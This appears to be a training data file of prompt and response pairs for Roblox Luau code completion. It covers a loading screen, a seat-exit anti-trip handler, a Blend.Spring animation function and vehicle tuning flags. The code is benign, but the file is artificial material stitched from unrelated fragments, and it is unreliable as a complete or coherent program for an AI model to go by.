local player = game.Players.LocalPlayer

local clonedLoadingScreen = loadingScreen:Clone()
clonedLoadingScreen.Parent = player:WaitForChild("PlayerGui")

local frame = clonedLoadingScreen.Frame
local bar = frame.LoadingBar
local inside = bar.BarInfill
local skipButton = frame.SkipFrame.SkipButton
local loadingPercentage = frame.DisplayPercentage

local screenVisible = true
local hideAfter = 30


Prompt:
--The server will fire the ExitSeat remote to the client when the humanoid has been removed from a seat.
--This script listens to that and uses it to prevent the humanoid tripping when exiting a seat.
--As the player is removed from the seat server side, this scripts listens to the event instead of being
-- inside the ExitSeat function so that:
-- A) The timing is right - the exit seat function will run before the character is unsat by the server
-- B) If a server script removes the player from a seat, the anti-trip will still run

Response:
local function antiTrip()
	local humanoid = getLocalHumanoid()
	if humanoid then
		humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
	end
end
Remotes.ExitSeat.OnClientEvent:Connect(function(doAntiTrip)
	for _, func in pairs(module.OnExitFunctions) do
		func(nil)
	end
	if doAntiTrip then
		antiTrip()
	end
end)

return module


Prompt:
--[=[
	Converts this arbitrary value into an observable that will initialize a spring
	and interpolate it between values upon subscription.

	```lua
	local percentVisible = Blend.State(0)
	local visibleSpring = Blend.Spring(percentVisible, 30)
	local transparency = Blend.Computed(visibleSpring, function(percent)
		return 1 - percent
	end);

	Blend.mount(frame, {
		BackgroundTransparency = visibleSpring;
	})
	```

	@param source any
	@param speed any
	@param damper any
	@return Observable?
]=]

Response:
function Blend.Spring(source, speed, damper)
	local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source)
	local speedObservable = Blend.toNumberObservable(speed)
	local damperObservable = Blend.toNumberObservable(damper)

	local function createSpring(maid, initialValue)
		local spring = Spring.new(initialValue)

		if speedObservable then
			maid:GiveTask(speedObservable:Subscribe(function(value)
				assert(type(value) == "number", "Bad value")
				spring.Speed = value
			end))
		end

		if damperObservable then
			maid:GiveTask(damperObservable:Subscribe(function(value)
				assert(type(value) == "number", "Bad value")

				spring.Damper = value
			end))
		end

		return spring
	end

	-- TODO: Centralize and cache
	return Observable.new(function(sub)
		local spring
		local maid = Maid.new()

		local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function()
			local animating, position = SpringUtils.animating(spring)
			sub:Fire(SpringUtils.fromLinearIfNeeded(position))
			return animating
		end)

		maid:GiveTask(stopAnimate)
		maid:GiveTask(sourceObservable:Subscribe(function(value)
			if value then
				local linearValue = SpringUtils.toLinearIfNeeded(value)
				spring = spring or createSpring(maid, linearValue)
				spring.t = SpringUtils.toLinearIfNeeded(value)
				startAnimate()
			else
				warn("Got nil value from emitted source")
			end
		end))

		return maid
	end)
end


Prompt: --Misc

Response:
Tune.AutoStart		= true --set to false if using manual ignition plugin
Tune.AutoFlip		= true